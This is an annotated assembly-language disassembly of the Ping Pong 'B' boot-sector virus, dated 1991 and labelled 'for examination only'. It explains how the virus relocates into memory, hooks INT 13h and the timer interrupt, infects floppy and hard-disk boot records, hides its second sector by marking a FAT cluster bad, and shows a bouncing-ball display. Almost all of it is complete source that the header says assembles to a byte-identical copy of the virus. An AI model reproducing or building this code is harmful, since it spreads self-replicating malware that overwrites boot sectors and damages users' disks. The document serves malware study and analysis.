TITLE PINGB.ASM - Ping Pong "B" virus assembly source code COMMENT # Read the following carefully: THIS FILE IS INTENDED FOR EXAMINATION ONLY. WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!! This virus, when assembled, is (almost) harmless if left in a file. At best, the code will overwrite part of DOS and hang your machine. At worst, it could wipe out the Boot record of A: or the master boot record of your hard disk. Since the virus MUST be loaded from a boot sector to function properly, running the code from DOS will definitely cause problems. DISCLAIMER: The author will NOT be held responsible for any damages caused by careless use of the information presented here. NOTE: This file, when assembled, will produce a binary image identical to the original virus code (except for data areas). It has a few flaws, the biggest of which is described in item 1 of the Coding Quirks section, below. The companion file, PINGB-C.ASM is a "cleaned-up" copy of the virus; it corrects all the items under the Coding Quirks section. It should be operationally functional to the virus code in this copy. THEORY OF OPERATION: 1) A disk with the virus is booted. 2) The BIOS memory count is decreased by 2k, to prevent DOS from overwriting the virus, and relocates itself to the reserved space. 3) Part II of the virus is read into RAM just after part I. 4) The original boot sector is read to 0000:7C00. 5) Virus gets and saves the address of INT 13h, the BIOS disk service interrupt routine, then hooks its own routine in place. 6) The virus jumps to 0000:7C00, load DOS if possible. INFECTION PROCESS: 1) A BIOS read request is preformed on the target disk. 2) If the drive is different from the last drive that was read from, then attempt infection immediately. Otherwise, check the BIOS clock tick count to see if it's time to activate the bouncing ball routine. 3) Read very first sector of the disk. If it's a hard disk, then search for a DOS-12 or DOS-16 partition, and if found, read the first sector of THAT partition. We now have the "normal" boot record of the target disk in the sector buffer. 4) Copy the BPB from the boot record to the virus code space. 5) Check virus' signature in the boot record to see if infected before. Check disk structure; virus needs 512 byte sectors, and at least 2 sectors per cluster to infect the disk. 6) Calculate number of system use sectors, data sectors, and maximum cluster number. 7) Starting with the first sector of the FAT, search for a free cluster. If none found, then don't infect the disk. 8) The first free cluster is flagged as bad, and the FAT is updated. Note that only the first copy of the FAT will be modified. 9) The original boot sector is re-read and written to the second sector of the virus' cluster. Part II of the virus is written to the first sector. Part I is written to sector 0, replacing the original boot record. INFECTION RESTRICTIONS: 0) The virus cannot infect a write-protected disk (obvious, isn't it?) 1) The virus will not infect a non-DOS bootable hard disk. 2) The virus will only infect a disk with 512 byte sectors, and at least two sectors per cluster. This rules out 1.44M and 1.2M disks, among others. 3) The virus will not infect a disk with no free space (from DOS's view). CODING QUIRKS: 1) The virus uses a "MOV CS,AX" instruction to continue execution after relocating itself to higher memory (see MEMORY MAP, below). This should not work on a 286 or 386 system (the author has not tried it!). 2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit register). It could be replaced by "XOR rr,0" to save a byte. 3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first computing the ones complement, then adding one to get the twos complement.) This could be replaced by "NEG rr" to save three bytes. 4) The use of OFS_ADJ (see below for computation) is needed to let me use an ORG of 0 when assembling the file. I could've used ORG 07C00h, but that would create a file about 32k in size on assembling. Instead, I chose to add this offset manually to force correct address generation. MEMORY MAP: The virus will relocate itself 2k below the top of memory. The virus itself is 1024 bytes, and uses a 512 byte buffer when infecting other disks. In all, the virus uses 1.5k of memory that is 512 bytes below the BIOS top of memory count. For a 640k machine the map becomes: 640.0k (97C0:8400, which is A000:0000) ==> Top of memory 639.5k (97C0:8200 to 97C0:83FF) ==> Unused 639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus 638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code 638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus Note that the "clean" version has a different memory map!! # End of comment LOCALS ;The following lines, especially OFS_ADJ, is used to force the assembler to ;generate the correct address for data references. The virus code is ;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add ;7C00h to all data references, to make the addresses come out right. PROGRAM_ASSEMBLY_OFS EQU 0000H BOOT_SECTOR_LOAD_OFS EQU 7C00H OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space ORG 0H ;Interrupt vector space DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching ORG 0020H INT8_OFS DW ? ;INT 8h vector offset & segment INT8_SEG DW ? ORG 004CH INT13_OFS DW ? ;INT 13h vector offset & segment INT13_SEG DW ? ORG 0413H ;BIOS data area KB_MEM DW ? ;K bytes of RAM in machine ORG 7C00H ;Jump here to load O/S BOOT_SECTOR_EXEC LABEL FAR LOW_MEM_DATA ENDS VIRUS SEGMENT ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING ORG 0H START_HERE: JMP SHORT CODE_START ;Force a two byte relative JuMp NOP_INST: NOP OEM_ID DB 'PingPong' ;Must be eight characters long! BYTES_PER_SEC DW 512 SEC_PER_CLU DB 2 RES_SECTORS DW 1 FAT_COPIES DB 2 DIR_ENTRIES DW 112 ;This is a standard TOTAL_SECTORS DW 720 ; BIOS Parameter Block! MEDIA_DESCRIP DB 0FDH SEC_PER_FAT DW 2 SEC_PER_TRK DW 9 SIDES_ON_DISK DW 2 HIDDEN_SECTORS DW 0 ORG 001EH ;Must ORGinate at offset 1Eh CODE_START: XOR AX,AX MOV SS,AX ;Set up stack pointer MOV SP,BOOT_SECTOR_LOAD_OFS MOV DS,AX ASSUME DS:LOW_MEM_DATA MOV AX,KB_MEM ;Get BIOS's count of available memory SUB AX,2 ;Reserve 2k for virus's use MOV KB_MEM,AX ;Save updated memory Kbyte count ;Shifting the memory Kbyte count left by 6 bits will yield the equivalent ;paragraph count. The result is the target segment value for relocation. ;Subtracting 07C0h from the segment value will make the segment shift ;downards by 7C00 bytes, which makes offset 7C00h in that segment line ;up with the previous offset 0. ;For a 640k machine (numbers in parenthesis are decimal equivalents) ; Original BIOS memory count: 280h ( 640) Kbytes ; After virus subtracts 2k : 27Eh ( 638) Kbytes ; Shifting left by 6 bits : 9F80h (40832) paragraphs ; Subtract 07C0h : 97C0h (38848) segment value MOV CL,06 SHL AX,CL ;This is same as multiplying by 64 SUB AX,07C0H ;Subtract offset divided by 16 MOV ES,AX ;Use result as segment value MOV SI,BOOT_SECTOR_LOAD_OFS MOV DI,SI ;Set up index regisetrs for move MOV CX,256 ;Copy 256 words (ie 512 bytes) REP MOVSW DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below) ;Notes on MOV CS,AX: ;This should be an illegal instruction, and if you go by the book, it ;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the ;computer, requiring a hard reset or a cold boot. Apprantly, it works on ;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with ;illegal operands, so, in order to preserve the original virus code, the ;hex bytes of the instruction must be inserted manually into the code stream. VIRUS_CONT LABEL FAR ;Continuation address after move PUSH CS POP DS ;Set up DS register ASSUME ES:VIRUS,DS:VIRUS CALL @@LOAD_PART_2 ;try two times to load part 2 @@LOAD_PART_2: XOR AH,AH INT 13H ;Reset disk subsystem AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C: MOV BX,PART2_SECTOR+OFS_ADJ ;The sector read/write routine always uses a fixed offset of 8000h; so to get ;the data into the right place, the segment registers are adjusted instead. ;We want to load part 2 of the virus just after part 1, so the offset normally ;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h, ;we will change ES to be 0200h BYTES lower then it normally would be. ;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES ;only subtract 0020h. ;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h PUSH CS POP AX ;See note above!! SUB AX,20H MOV ES,AX ;Move result into ES for read routine CALL READ_SECTOR MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is INC BX ; the original boot record of the disk MOV AX,0FFC0H ;Address calculation for sector read: MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h CALL READ_SECTOR ;Trim address to 20 bits, and you XOR AX,AX ; get 07C00h, which is 0000:7C00 MOV FLAGS+OFS_ADJ,AL ;Clear all flags. MOV DS,AX ASSUME DS:LOW_MEM_DATA MOV AX,INT13_OFS MOV BX,INT13_SEG MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ MOV INT13_SEG,CS PUSH CS POP DS ASSUME DS:VIRUS MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream MOV DL,DRIVE+OFS_ADJ JMP BOOT_SECTOR_EXEC ;Load the O/S as normal ;*************************************** WRITE_SECTOR: MOV AX,0301H JMP SHORT VIRUS_DISK_SERV READ_SECTOR: MOV AX,0201H VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX XCHG AX,BX ;Swap command code and sector number ;Now calculate the physical location of the sector number. DOS sectors are ;sequential, while the BIOS uses track, head, and sector numbers. ;Method: ; Starting with: AX=DOS sector # ; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1) ; Move sector number (in DL) to CH for later processing ; Dividing by sides on disk: AX=Track number DL=Head (Side) number ; Since the track # may be more than 255, we will combine the lower ; two bits in AH with the sector number in CH. First shift it left ; by 6 bits, to get it in the form tt000000, then OR it with CH. ; AX now has the following format (high to low bit seq.): TTssssss tttttttt ; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#, ; and "s" is bits of sector number. ) ; Now copy AX into CX, and reverse the two halves of CX. Now the track ; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss) ; The side number is still in DL, so copy it into DH for the BIOS. ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors XOR DX,DX ; (Clear high word for 32 bit division) DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get INC DL ; sector number in DX. MOV CH,DL XOR DX,DX DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by MOV CL,06 ; # of sides to get a track number SHL AH,CL ; in AX and the head number in DX. OR AH,CH ;Do some bit shuffling to get the MOV CX,AX ; pieces in order... XCHG CH,CL MOV DH,DL ; and we're done! (whew!) MOV AX,BX ;Move command code back into AX DISK_SERVICE: MOV DL,DRIVE+OFS_ADJ MOV BX,8000H ;Offset is fixed. (See notes above) INT 13H JNC @@NO_ERR ;If successful, then return to caller normally POP AX ;Otherwise, remove caller's return address @@NO_ERR: ; and return one lever higher than should. RET NEW_INT13 LABEL FAR ;New INT 13h handler PUSH DS PUSH ES PUSH AX PUSH BX ;Save registers on stack PUSH CX PUSH DX PUSH CS ;Establish our data segment registers POP DS PUSH CS POP ES ASSUME DS:VIRUS,ES:VIRUS TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before? JNZ @@END ;If so, ignore this call CMP AH,02 ;Intercept read requests only JNE @@END CMP DRIVE+OFS_ADJ,DL ;Check drive number... MOV DRIVE+OFS_ADJ,DL ; (also save it for next time) JNZ @@INFECT ;...if not the same, infect immediately XOR AH,AH INT 1AH ;Get clock tick count TEST DH,07FH ;Is it the right time to activate JNZ @@UPDATE_TICKS ; the bouncing ball display? TEST DL,0F0H JNZ @@UPDATE_TICKS PUSH DX ;Preserve clock tick count CALL INST_BALL ;Install the bouncing ball routine, POP DX ; if not established already. @@UPDATE_TICKS: MOV CX,DX ;Find elapsed time since last call SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick MOV TICK_COUNT+OFS_ADJ,CX ; count for next time. SUB DX,36 ;If less than 2 seconds have passed, JB @@END ; don't infect the disk. @@INFECT: OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h PUSH SI PUSH DI CALL INFECT_A_DISK ;Attempt to infect target disk POP DI POP SI AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag. @@END: POP DX POP CX POP BX ;Restore caller's registers POP AX POP ES POP DS INT13_PATCH LABEL WORD JMP DUMMY_ADDRESS ;Continue with original INT 13h handler INFECT_A_DISK: MOV AX,0201H ;Read one sector... MOV DH,0 MOV CX,0001H ;...the first sector of a disk. CALL DISK_SERVICE ;At this point, the sector we just read could be a normal boot record, ;or the partition table of a hard disk. If it's a boot record from a floppy, ;then proceed to infect it. Otherwise, we have to find the DOS partition ;of the hard disk and read the boot sector from that partition. We search ;the partition for a DOS-12 or DOS-16 entry, then, using the beginning ;drive/side/track/sector information, we read the first sector of the ;partition. That sector will be the required boot record, which we will ;prodeed to process. TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester? JZ @@FLOPPY ;If so, then we got a partition table. MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ MOV CX,4 @@LP: ;Check O/S identification byte: CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition? JE @@FOUND ; if so, then continue with infection. CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition. JE @@FOUND ADD SI,16 ;Not this one, go to next partition LOOP @@LP RET ;No suitable DOS partitions found, so exit. @@FOUND: MOV DX,[SI] ;Get drive number and side MOV CX,[SI+2] ;Get track and sector numbers MOV AX,0201H ;Read one sector... CALL DISK_SERVICE @@FLOPPY: ;A DOS boot record is at CS:8000 MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h MOV CX,001CH REP MOVSB CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature JNE @@INFECT ;Infect if not the same ;It is not known what the following code does; it seems to soem sort of ;error recovery procedure, in case the first attempt at infection failed. CMP Byte Ptr _CONTINUATION+OFS_ADJ,0 JNB @@EXIT MOV AX,_SYSTEM_SECTORS+OFS_ADJ MOV SYSTEM_SECTORS+OFS_ADJ,AX MOV SI,_PART2_SECTOR+OFS_ADJ JMP CONT_POINT @@EXIT: RET ;Exit now; cannot infect this disk @@INFECT: CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only! JNZ @@EXIT CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster JB @@EXIT ;The virus now computes the number of system use sectors and number of data ;sectors. System use sectors include the Boot Record, FAT copies, root ;directory, and any otherwise reserved sectors. What's left is the number ;of data sectors. MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies CBW ;Convert to word in AX MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT ADD CX,AX ;Add result to # reserved sec. MOV AX,32 ;Each dir entry is 32 bytes MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes ADD AX,511 ;Round up when dividing... MOV BX,512 ;Divide by 512 to get # sectors DIV BX ; the root directory takes. ADD CX,AX ;Add to # reserved sectors MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored) ;The virus now calculates the number of data sectors and clusters. ;If there are more than 4080 clusters, then assume we're using a 16 bit FAT. MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster XOR DX,DX ;Clear high order word... XOR BH,BH ; and byte for division DIV BX ;Divide, to get # of clusters INC AX ;Round up by one MOV DI,AX ;Save for "find free" routine AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag. CMP AX,0FF0H ;Is # of clusters too high? JBE @@1 OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT @@1: ;Now the search for a free cluster begins. MOV SI,1 ;Counter of now many FAT sectors searched MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector DEC BX ;Sub 1, because we add 1 later MOV CUR_FAT_SECTOR+OFS_ADJ,BX MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead" JMP SHORT VIRUS_PART2_CONT ;JUMP to part II ORG 01F3H CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors FLAGS DB ? ;Bit mapped flags DRIVE DB ? ;Current drive number PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus CONTUATION DB ? ;??? Continuation flag??? ORG 01FCH VIRUS_SIG DW 01357H ;Virus' signature BIOS_SIG DW 0AA55H ;Required signature of all boot sectors ;*************** Second sector of virus code starts here! ******************; ORG 0200H VIRUS_PART2_CONT: ;Note: DI has maximum cluster number, and SI has current cluster number. @@NEXT_SECTOR: INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector # MOV BX,CUR_FAT_SECTOR+OFS_ADJ ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2 CALL READ_SECTOR ;Read the FAT sector JMP SHORT @@CHECK ;Check for end of search @@FIND_FREE: ;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if ;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following: ;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then ;divide by 2. MOV AX,3 TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT JZ @@0 INC AX ;Use 4 if FAT-16 @@0: MUL SI ;Multiply by cluster number SHR AX,1 ;Divide by 2 ;The cluster adjustment value is needed to keep offsets within 512 bytes. ;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time ;we calculate another FAT offset for each subsequent FAT sector. SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment MOV BX,AX CMP BX,01FFH ;Is offset too high? JNB @@NEXT_SECTOR ;If so, go to next sector MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry ;Once we have the cluster entry, we have to adjust it for a FAT-12 if ;necessary. On a FAT-16, we can use the vlaue directly. ;If it is a 12 bit FAT: ; Clear upper nibble if cluster number is even. ; Otherwise, throw out lower nibble and shift down by 4 bits. TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check JNZ @@2 MOV CL,04 ;Prepare for shift TEST SI,1 ;Cluster number odd/even check. JZ @@1 SHR DX,CL ;Shift down by 1 nibble if odd. @@1: AND DH,0FH ;Clear highest nibble. @@2: ;A free cluster has an entry of 0. Using the TEST instruction, we check ;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by ;OR DX,DX, saving two bytes. TEST DX,0FFFFH JZ FREE_FOUND @@CHECK: ;See if the maximun cluster number has been INC SI ; reached. If so, then no free cluster has CMP SI,DI ; been found, so we can't infect the disk JBE @@FIND_FREE RET FREE_FOUND: ;Now that we found a free cluster, we'll set that cluster to "bad" status. ;As before, we test for a 12 bit FAT and adjust the bad cluster flag ;accordingly. MOV DX,0FFF7H ;Bad cluster flag. TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check. JNZ @@0 AND DH,0FH ;Clear upper nibble MOV CL,04 TEST SI,1 ;Cluster number odd/even check. JZ @@0 SHL DX,CL ;Shift by 4 bits if odd. @@0: OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value. MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector # CALL WRITE_SECTOR ;Write modified FAT to disk MOV AX,SI ;Get free cluster number to AX SUB AX,2 ;Subtract cluster number basis MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster XOR BH,BH MUL BX ;Multiply to get sector number ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to MOV SI,AX ; get DOS sector # on disk MOV BX,0 ;Read the boot record from sector 0 CALL READ_SECTOR MOV BX,SI ;Write it out to disk, in the second INC BX ; sector of our "bad" cluster CALL WRITE_SECTOR CONT_POINT: MOV BX,SI ;SI has first sector of free cluster MOV PART2_SECTOR+OFS_ADJ,SI ;Save it PUSH CS POP AX SUB AX,20H ;Adjust segment value so ES:8000 will MOV ES,AX ; be the same as CS:7E00h CALL WRITE_SECTOR ;Write part 2 of virus to disk PUSH CS POP AX SUB AX,40H ;Now adjust ES so an offset of 8000 MOV ES,AX ; will point to CS:7C00h MOV BX,0 ;Write the first part of the virus CALL WRITE_SECTOR ; into the boot sector RET ;DISK IS NOW INFECTED!!!! ORG 02B0H TICK_COUNT DW ? FAT_OFS_ADJ DB ? INST_BALL: ;Install bouncing ball routine TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already? JNZ @@EXIT OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag MOV AX,0 MOV DS,AX ASSUME DS:LOW_MEM_DATA MOV AX,INT8_OFS ;Get vector for INT 8h MOV BX,INT8_SEG MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at MOV INT8_SEG,CS ; our routine. PUSH CS POP DS ASSUME DS:VIRUS MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code. @@EXIT: RET NEW_INT8 LABEL FAR ;New INT 8 handler PUSH DS PUSH AX PUSH BX ;Save affected registers PUSH CX PUSH DX PUSH CS POP DS MOV AH,0FH ;Get video mode, page, and # of columns INT 10H MOV BL,AL ;Move mode number into BL ;If the video mode and page are the same as last time, then continue bouncing ;the ball. Otherwise, reset the ball position and increment, and start anew. ;Note: The active page number is in BH throughout this routine. CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time? JE @@SAME_MODE MOV VIDEO_PARAMS,BX ;Save for futore reference (!!) DEC AH ;Subtract 1 from number of columns MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it. MOV AH,1 ;Assume graphics mode. CMP BL,7 ;Mono text mode? JNE @@0 DEC AH ;Set flag to 0 if so. @@0: CMP BL,4 ;Is mode number below 4? (ie. 0-3) JNB @@1 DEC AH @@1: MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value. MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1 MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1 MOV AH,03H INT 10H ;Read cursor position into DX PUSH DX ; and save it on the stack. MOV DX,BALL_POS ;Get XY position of ball. JMP SHORT UPDATE_BALL_POS ;Change increment if needed. @@SAME_MODE: ;Enter here if mode not changed. MOV AH,03H INT 10H ;Get cursor position into DX PUSH DX ; and save it. MOV AH,02 MOV DX,BALL_POS+OFS_ADJ INT 10H ;Move to bouncing ball location. MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute. CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/ JNE @@3 MOV AX,8307H ;If graphics mode, use CHR$(7) @@3: ;If not, then use original char MOV BL,AH ;Move color value into BL MOV CX,1 ;Write one character MOV AH,09H ; with attributes and all INT 10H ; into page in BH. ;The update routine will check for the ball's position on a screen border. ;If it's on a border, then negate the increment for that direction. ;(ie, if the ball was moving up, reverse it.) If the increment was not ;changed, then "randomly" change the X or Y increment based on the lower ;three bits of the previous screen character. This will make the ball ;appear to bounce around "randomly" on a screen filled with characters. ;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be ;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes ;for every occurance. UPDATE_BALL_POS: ;Figure new ball position. MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment. CMP DH,0 ;Is is on the top row of the screen? JNZ @@0 XOR CH,0FFH ;Make a ones-complement of the value, INC CH ; then add 1 to make a twos-comp. @@0: CMP DH,24 ;Reached bottom edge? JNZ @@1 XOR CH,0FFH ;See above! INC CH @@1: CMP DL,0 ;Reached left edge? JNZ @@2 XOR CL,0FFH ;See above! INC CL @@2: CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge? JNZ @@3 XOR CL,0FFH ;Should be familar by now! INC CL @@3: CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before? JNE CALC_NEW_POS ;If not, apply the modified increment. MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described AND AL,00000111B ; in the note above. CMP AL,00000011B JNE @@4 XOR CH,0FFH ;Reverse Y direction. INC CH @@4: CMP AL,00000101B JNE CALC_NEW_POS XOR CL,0FFH ;Reverse X direction. INC CL CALC_NEW_POS: ADD DL,CL ;Add increments to ball position. ADD DH,CH MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and MOV BALL_POS+OFS_ADJ,DX ; new ball position. MOV AH,02H ;Move to ball position, which is INT 10H ; in register DX. MOV AH,08H ;Read the present screen char and INT 10H ; attribute. MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time. MOV BL,AH ;Use same attribute, if in text mode CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 JNE @@0 MOV BL,83H ;Otherwise, use color # 83H @@0: MOV CX,0001H ;Write one character and attribute MOV AX,0907H ; using CHR$(7) as the character. INT 10H POP DX ;Get old cursor position. MOV AH,02H ;Move cursor back to that position. INT 10H POP DX POP CX POP BX ;Restore affected registers. POP AX POP DS INT8_PATCH LABEL WORD JMP DUMMY_ADDRESS ;Continue with original INT 8h handler. ORG_CHAR DW ? ;Original screen character and attribute. BALL_POS DW ? ;Bouncing ball's XY position. BALL_INC DW ? ;Ball's XY increment GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode. VIDEO_PARAMS DW ? ;Mode number and page number. SCRN_COLS DB ? ;Number of screen columns minus 1 VIRUS_LENGTH EQU $-START_HERE DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes. ;******************** End of virus code! ************************************** ORG 0400H ;Work area for the virus SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!! _JMP_INST DW ? _NOP_INST DB ? _OEM_ID DB 8 DUP(?) _BYTES_PER_SEC DW ? _SEC_PER_CLU DB ? _RES_SECTORS DW ? _FAT_COPIES DB ? _DIR_ENTRIES DW ? ;This is the BPB of the target _TOTAL_SECTORS DW ? ; disk during infection. _MEDIA_DESCRIP DB ? _SEC_PER_FAT DW ? _SEC_PER_TRK DW ? _SIDES_ON_DISK DW ? _HIDDEN_SECTORS DW ? ORG 05BEH PARTITION_TABLE LABEL NEAR ORG 05F3H _CUR_FAT_SECTOR DW ? _SYSTEM_SECTORS DW ? _FLAGS DB ? _DRIVE DB ? _PART2_SECTOR DW ? _CONTINUATION DB ? ORG 05FCH _VIRUS_SIG DW ? _BIOS_SIG DW ? ;Should always be 0AA55h VIRUS ENDS END ;Disassembled by James L. July 1991 ;# EOF #;